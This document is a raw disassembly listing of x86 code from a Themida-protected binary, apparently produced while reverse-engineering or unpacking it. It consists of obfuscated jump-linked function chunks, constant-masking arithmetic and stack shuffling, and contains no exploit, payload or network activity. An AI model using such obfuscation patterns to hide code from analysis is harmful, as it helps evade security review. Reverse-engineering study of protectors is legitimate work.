; FUNCTION CHUNK AT 005A77AB SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005A7915 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A9C58 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AA749 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AB3CA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AE05F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005AE3C4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AE57F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AF08B SIZE 0000000A BYTES

		push	ebx
		mov	ebx, 5465F452h
		add	ecx, ebx
		pop	ebx
		mov	eax, ecx
		pop	ecx
		add	edx, eax
		pop	eax
		add	edx, 2
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		imul	cl
		movzx	cx, ah
		push	182Dh
		mov	[esp+0], ecx
		mov	ecx, esp
		push	esi
		push	225Eh
		mov	[esp+8+var_8], ebx
		push	4
		pop	ebx
		mov	esi, ebx
		jmp	loc_59BCC6
sub_5A8F00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5A8F47:				; CODE XREF: sub_59D24A-137Bj
		mov	cl, 0A8h
		xor	cl, 41h
		add	cl, 2Ah
		neg	cl
		jmp	loc_5A9AC9
; END OF FUNCTION CHUNK	FOR sub_59D24A

; =============== S U B	R O U T	I N E =======================================



sub_5A8F56	proc near		; DATA XREF: Themida_:00597AB0o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059AD7D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A05DD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7289 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A9D83 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AC27A SIZE 00000017 BYTES

		push	dword ptr [edi+3Ch]
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		push	1D0Ah
		mov	[esp+8+var_8], esi
		mov	esi, esp
		push	eax
		mov	eax, 73BE3448h
		shl	eax, 8
		dec	eax
		not	eax
		inc	eax
		jl	loc_5AC27A
		add	eax, 45B0347Eh
		jz	loc_5AD405
		xor	eax, 877BEC7Bh
		add	esi, eax
		pop	eax
		jmp	loc_5A7289
sub_5A8F56	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A36E3


loc_5A8F9A:				; CODE XREF: sub_5A36E3+6369j
		add	ecx, eax
		sub	ecx, 546E522Dh
		pop	eax
		xor	eax, ecx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		push	edx
		push	166D0E74h
		jmp	loc_5A0F55
; END OF FUNCTION CHUNK	FOR sub_5A36E3
; ---------------------------------------------------------------------------


loc_5A8FB6:				; CODE XREF: Themida_:005AE489j
		and	ebp, 2F4443F1h
		sub	ebp, 4E8D658Dh
		jmp	loc_5A2F15
; ---------------------------------------------------------------------------


loc_5A8FC7:				; CODE XREF: Themida_:005A1AD6j
		add	esp, 4
		push	esi
		jmp	loc_5A4660
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5A8FD3:				; CODE XREF: sub_597C68:loc_5A5D03j
		add	edi, 0A557088h
		jmp	loc_5A5084
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5A8FDE:				; CODE XREF: sub_5ABF4A-11962j
		pop	ecx
		add	[esp+4], esi
		push	[esp-0Ch+arg_8]
		jmp	loc_5AB879
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A8FEB:				; CODE XREF: sub_59D99C+98E8j
		add	ebx, 14DC29D4h
		sub	eax, ebx
		pop	ebx
		sub	eax, edi
		jmp	loc_5A5165
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A8FFB:				; CODE XREF: sub_5A8D43+2645j
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp+12h+var_14+2]
		pop	esp
		mov	[esp+0Eh+var_10+2], esi
		push	esp
		mov	esi, [esp+12h+var_14+2]
		add	esp, 4
		push	eax
		jmp	loc_5A6412
; ---------------------------------------------------------------------------


loc_5A9013:				; CODE XREF: sub_5A8D43-7D46j
		shl	edx, 3
		push	ecx
		mov	ecx, 5CED4DDAh
		xchg	ebx, ecx
		not	ebx
		push	ecx
		push	ebx
		pop	ecx
		jmp	loc_5ABEC4
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A9028:				; CODE XREF: sub_5A141E+D5B6j
		mov	[esp+0], ebx
		jmp	loc_59AEDC
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFBF


loc_5A9030:				; CODE XREF: sub_59CFBF+23D0j
		and	esi, 0B692C27h
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		jmp	loc_5A9277
; END OF FUNCTION CHUNK	FOR sub_59CFBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A9041:				; CODE XREF: sub_59D99C-4EF5j
		mov	ebp, [esp+0]
		add	esp, 4
		mov	ebp, dword ptr [esp-10h+arg_C]
		jmp	loc_59F44C
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A9052:				; CODE XREF: sub_5AEE2E-105BEj
		mov	edi, [esp-8+arg_4]
		push	1424h
		mov	[esp-4+arg_0], eax
		jmp	loc_5A05D6
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A9062:				; CODE XREF: sub_5A0F44+9800j
		pop	edi
		push	ebp
		mov	ebp, esp
		jmp	loc_59A3EC
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A906B:				; CODE XREF: sub_59D99C-2D78j
		sub	ebp, edi
		jmp	loc_598A93
; ---------------------------------------------------------------------------


loc_5A9072:				; CODE XREF: sub_59D99C+F8E2j
		mov	ebx, 4F89007Ah
		mov	edi, ebx
		pop	ebx
		sub	eax, edi
		jmp	loc_5AA16E
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A9081:				; CODE XREF: sub_5AC95F-98F2j
		push	eax
		push	ecx
		pop	eax
		jmp	loc_5A011B
; ---------------------------------------------------------------------------


loc_5A9089:				; CODE XREF: sub_5AC95F+1950j
		sub	edx, 25311B8Fh
		jmp	loc_59DA23
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A9094:				; CODE XREF: Themida_:005A4C16j
		sub	edi, eax
		pop	eax
		or	edi, 57E60630h
		sub	edi, 5D2A18B8h
		push	esi
		mov	esi, 14D5313Eh
		sub	ebx, 553A0921h
		add	ebx, esi
		jmp	loc_597D87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A90B6:				; CODE XREF: sub_5ACD64+CF0j
		pop	[esp-0Ch+arg_8]
		mov	esp, [esp-10h+arg_C]
		push	6E83h
		mov	[esp-0Ch+arg_8], esi
		mov	esi, esp
		jmp	loc_59A04D
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_5A90CB:				; CODE XREF: Themida_:005A7CECj
		mov	ebx, [esp]
		jmp	loc_59C41D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5A90D3:				; CODE XREF: sub_5A728F-A1C5j
		add	esp, 4
		add	esi, 37EF7ACEh
		add	esi, ecx
		push	ebp
		push	eax
		push	17A40A71h
		pop	eax
		jmp	loc_5A43F6
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD9CC


loc_5A90EE:				; CODE XREF: sub_5AD9CC-7708j
		mov	ecx, 4
		add	edi, 24111E2Ah
		add	edi, 46060CBCh
		add	edi, ecx
		sub	edi, 46060CBCh
		jmp	sub_5998AB
; END OF FUNCTION CHUNK	FOR sub_5AD9CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A910C:				; CODE XREF: sub_5AC95F-19E3j
		neg	edi
		shr	edi, 8
		jmp	loc_5A8DA0
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A9116:				; CODE XREF: sub_59B707+38E2j
		pop	esi
		add	ebx, 4
		push	ebx
		push	[esp-10h+arg_10]
		push	[esp-0Ch+arg_6+2]
		jmp	loc_5AAC64
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A20F9


loc_5A912A:				; CODE XREF: sub_5A20F9+2j
		mov	esi, 6437700Ch
		mov	ebp, 16782E65h
		xor	ebp, esi
		mov	esi, [esp+0]
		add	esp, 4
		push	ebp
		mov	eax, [esp+0]
		add	esp, 4
		pop	ebp
		push	ebp
		mov	ebp, 1
		sub	eax, ebp
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		jmp	loc_59AEEE
; END OF FUNCTION CHUNK	FOR sub_5A20F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A915F:				; CODE XREF: sub_599059:loc_59BDE0j
		dec	edi
		shl	edi, 1
		push	esi
		jmp	loc_59CF9B
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5A9168:				; CODE XREF: sub_5AC402-C7BDj
		shl	ah, 2
		xor	ah, 0A2h
		push	bx
		mov	bh, 0FFh
		add	ah, bh
		pop	bx
		push	edx
		jmp	loc_5A578E
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5A917C:				; CODE XREF: sub_5A1340+B9A2j
		push	esp
		pop	ebp
		jmp	loc_5AC441
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_5A9183:				; CODE XREF: sub_5A1076-6B6Aj
		jp	loc_5A8317
		jmp	loc_598717
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F32F


loc_5A918E:				; CODE XREF: sub_59F32F+3j
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp+0]
		pop	esp
		jmp	sub_59C53B
; END OF FUNCTION CHUNK	FOR sub_59F32F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A91A6:				; CODE XREF: sub_59B707+B9B6j
					; sub_597F0C:loc_5A9399j
		add	ecx, edi
		push	edx
		mov	edx, 6BB17CB5h
		xor	edx, 598D3B17h
		shl	edx, 5
		inc	edx
		add	edx, 25D53BB5h
		sub	edx, 4D3034A6h
		push	esi
		mov	esi, 427E941Ah
		jmp	loc_5A829F
; END OF FUNCTION CHUNK	FOR sub_597F0C

; =============== S U B	R O U T	I N E =======================================



sub_5A91CF	proc near		; CODE XREF: sub_5A600F-9D0Bj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00598DC8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059B2B3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059BA4B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059CCBB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D630 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A0817 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4D2B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5089 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 005A5553 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A55B3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7F5B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005ABAC0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AD608 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AE886 SIZE 00000027 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A5553
sub_5A91CF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A91E0:				; CODE XREF: sub_59D99C+4BF4j
		pop	ebx
		sub	ecx, 2BB234DDh
		jmp	loc_5A2FB4
; END OF FUNCTION CHUNK	FOR sub_59D99C

; =============== S U B	R O U T	I N E =======================================



sub_5A91EC	proc near		; CODE XREF: sub_5A7C98-388j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

; FUNCTION CHUNK AT 00598193 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005986A0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005987CF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059883E SIZE 0000003F BYTES
; FUNCTION CHUNK AT 00598DA2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005992C3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00599E39 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0059A556 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059A730 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059A9EE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059AB2E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B473 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059BA22 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059C8E6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059CEA5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059D3C0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D882 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059DB99 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059DCB1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059DDA1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059EDEB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F2E9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059F674 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059FCD0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059FD30 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0103 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A036A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A0666 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1256 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A14A2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A1D43 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A4831 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A551A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5FD9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A6060 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A710E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A73CF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A80E7 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A94AA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A9AFC SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A9E48 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AA4A7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AB79F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AB81F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AC190 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AC19D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AC32F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AC494 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AC6F1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AC9B2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005ACC1C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AE6BA SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005AEBEA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AEF48 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005AF095 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AF178 SIZE 00000022 BYTES

		push	ebp
		jmp	loc_5ACC1C
sub_5A91EC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C683


loc_5A91F2:				; CODE XREF: sub_59C683+2B87j
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A096D
; END OF FUNCTION CHUNK	FOR sub_59C683
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A91FD:				; CODE XREF: sub_5A1B2A-5280j
		mov	[esp+2+var_4+2], eax
		jmp	loc_5A35A7
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A9205:				; CODE XREF: sub_5ACD64-F853j
		sub	ecx, edx
		pop	edx
		jmp	loc_59CD84
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7CF9


loc_5A920D:				; CODE XREF: sub_5A7CF9-C607j
		xor	edx, [esp+8+var_8]
		jmp	loc_5AD3EF
; END OF FUNCTION CHUNK	FOR sub_5A7CF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A9215:				; CODE XREF: sub_5A8D43-6D4Bj
		jz	loc_5A3677
		push	ax
		jmp	loc_5A172C
; ---------------------------------------------------------------------------


loc_5A9222:				; CODE XREF: sub_5A8D43-D148j
		push	edi
		jmp	loc_5ABC78
; END OF FUNCTION CHUNK	FOR sub_5A8D43

; =============== S U B	R O U T	I N E =======================================



sub_5A9228	proc near		; CODE XREF: sub_5A1B2A-4B70j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059A195 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0059ABD9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C0B2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D552 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059EBD8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2090 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A20A0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A210C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A225A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A52C7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A573D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A5AA2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A6335 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005ABC60 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, 70105874h
		mov	ebx, 484C0F94h
		xor	ebx, ebp
		pop	ebp
		sub	ebx, 2A6AF5A5h
		push	55A9h
		jmp	loc_59D552
sub_5A9228	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A9246:				; CODE XREF: sub_5ACD64:loc_5A8DFAj
		and	ecx, 2644779Ch
		jnb	loc_5AAA3E
		shl	ecx, 6
		jmp	loc_59E0D9
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
		pop	ebx
		mov	bl, 0AFh
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5A925E:				; CODE XREF: sub_5ABA9B-10BD8j
		mov	ecx, 51162FD5h
		add	ecx, 1
		sub	esp, 4
		mov	[esp+10h+var_10], esi
		mov	esi, 1
		push	edx
		jmp	loc_59D84D
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFBF


loc_5A9277:				; CODE XREF: sub_59CFBF+C07Dj
		not	edi
		xchg	edi, esi
		and	esi, 70B8151Dh
		push	ebx
		mov	ebx, 20DC32E6h
		jmp	loc_5A3072
; END OF FUNCTION CHUNK	FOR sub_59CFBF
; ---------------------------------------------------------------------------


loc_5A928C:				; CODE XREF: Themida_:0059EAAEj
		mov	ebx, 2EB32FA4h
		mov	edi, 17CEC412h
		sub	edi, ebx
		pop	ebx
		sub	esi, edi
		pop	edi
		jmp	loc_5993A0
; ---------------------------------------------------------------------------


loc_5A92A1:				; CODE XREF: Themida_:005A5267j
		push	esi
		jmp	loc_5A3E80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5A92A7:				; CODE XREF: sub_5A728F+16E3j
		and	eax, ebx
		pop	ebx
		or	edx, eax
		shl	edx, 1
		push	4F70h
		mov	[esp-4+arg_0], esi
		mov	esi, 4AE046ECh
		push	ecx
		push	4BD910B1h
		pop	ecx
		jmp	loc_59EC5C
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A92C7:				; CODE XREF: sub_5AC95F+15B1j
		push	eax
		mov	al, 0ACh
		shr	al, 3
		push	edx
		mov	dh, 60h
		inc	dh
		and	dh, 35h
		xor	dh, 64h
		or	al, dh
		pop	edx
		neg	al
		xor	al, 90h
		add	dh, al
		pop	eax
		sub	al, 0CBh
		add	al, dh
		add	al, 0CBh
		mov	edx, [esp-4+arg_0]
		jmp	loc_598FA0
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_5A92F0:				; CODE XREF: sub_59F20F+523Cj
		mov	esp, [esp+4+var_4]
		jmp	loc_5A9E13
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CD12


loc_5A92F8:				; CODE XREF: sub_59CD12+C891j
		add	esp, 4
		mov	eax, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], edi
		jmp	loc_598468
; END OF FUNCTION CHUNK	FOR sub_59CD12
; ---------------------------------------------------------------------------


loc_5A930F:				; CODE XREF: Themida_:005A3DF2j
		push	ecx
		push	57280480h
		pop	ecx
		jmp	loc_598AE3
; ---------------------------------------------------------------------------


loc_5A931B:				; CODE XREF: Themida_:005AC9DEj
		push	43D6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_59BB99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59858D


loc_5A932F:				; CODE XREF: sub_59858D+10E62j
		mov	edx, [esp+10h+var_10]
		sub	esp, 4
		mov	[esp+14h+var_14], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59E3D4
; END OF FUNCTION CHUNK	FOR sub_59858D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACC65


loc_5A9345:				; CODE XREF: sub_5ACC65-178Cj
		add	eax, ebp
		pop	ebp
		mov	edx, eax
		pop	eax
		sub	ebp, edx
		pop	edx
		jmp	loc_59BE91
; END OF FUNCTION CHUNK	FOR sub_5ACC65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5A9353:				; CODE XREF: sub_598D16+21j
		add	ebx, ecx
		add	ebx, 720A2232h
		pop	ecx
		push	ebx
		push	[esp+8+var_4]
		pop	ebx
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		jmp	loc_599ADE
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------


loc_5A936D:				; CODE XREF: Themida_:00597FB9j
		and	eax, 7E666EF0h
		or	eax, 13BB61DDh
		or	eax, 347D1B76h
		shl	eax, 2
		jmp	loc_59BFEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB1B1


loc_5A9384:				; CODE XREF: sub_5AB1B1-4345j
		mov	edx, 771339FAh
		jmp	loc_5A5415
; END OF FUNCTION CHUNK	FOR sub_5AB1B1
; ---------------------------------------------------------------------------


loc_5A938E:				; CODE XREF: Themida_:005AB02Bj
		and	ecx, 15D541FDh
		jmp	loc_59FD67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A9399:				; CODE XREF: sub_597F0C+35B3j
		jl	loc_5A91A6
		jmp	loc_5A2E58
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------


loc_5A93A4:				; CODE XREF: Themida_:005A0522j
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_5ACF63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5A93AE:				; CODE XREF: sub_598D67-62Fj
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		pop	eax
		push	edi
		mov	edi, 1E6625F6h
		add	eax, edi
		mov	edi, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_5A3856
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------


loc_5A93CB:				; CODE XREF: Themida_:005A4AE7j
		xor	ebp, 569D315Ch
		jmp	loc_599BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A93D6:				; CODE XREF: sub_5986D6+106Dj
		add	esp, 4
		jmp	loc_59C7BC
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59858D


loc_5A93DE:				; CODE XREF: sub_59858D+106A1j
		sub	dl, 0AAh
		sub	ah, 81h
		add	ah, 0B5h
		add	ah, dl
		sub	ah, 0B5h
		add	ah, 81h
		jmp	loc_5A932F
; END OF FUNCTION CHUNK	FOR sub_59858D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5A93F4:				; CODE XREF: sub_5AB98B-1B14j
		sub	bh, ah
		mov	eax, [esp-0Ah+arg_4+2]
		add	esp, 4
		jmp	loc_59A788
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A9401:				; CODE XREF: sub_5A1B2A+6C9Bj
		add	esi, edx
		mov	edx, [esp+0]
		sub	esp, 4
		mov	[esp+2+var_4+2], ebp
		jmp	loc_597EC7
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_5A9411:				; CODE XREF: Themida_:005992E6j
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5A40B8
; ---------------------------------------------------------------------------


loc_5A941B:				; CODE XREF: Themida_:005A149Dj
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_59E3E5
; ---------------------------------------------------------------------------


loc_5A9426:				; CODE XREF: Themida_:005AE936j
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		jmp	loc_5AC2F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D147


loc_5A9438:				; CODE XREF: sub_59D147+5j
		not	bp
		not	bp
		jmp	loc_5A39CC
; END OF FUNCTION CHUNK	FOR sub_59D147

; =============== S U B	R O U T	I N E =======================================



sub_5A9443	proc near		; CODE XREF: sub_59A8D4+3B3Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059DED9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A25F8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A26AC SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A3C88 SIZE 00000017 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		push	ebp
		mov	ebp, 4
		add	[esp+8+var_4], 531C2569h
		add	[esp+8+var_4], ebp
		sub	[esp+8+var_4], 531C2569h
		pop	ebp
		mov	ebp, [esp+4+var_4]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		jmp	loc_5A3C88
sub_5A9443	endp

; ---------------------------------------------------------------------------
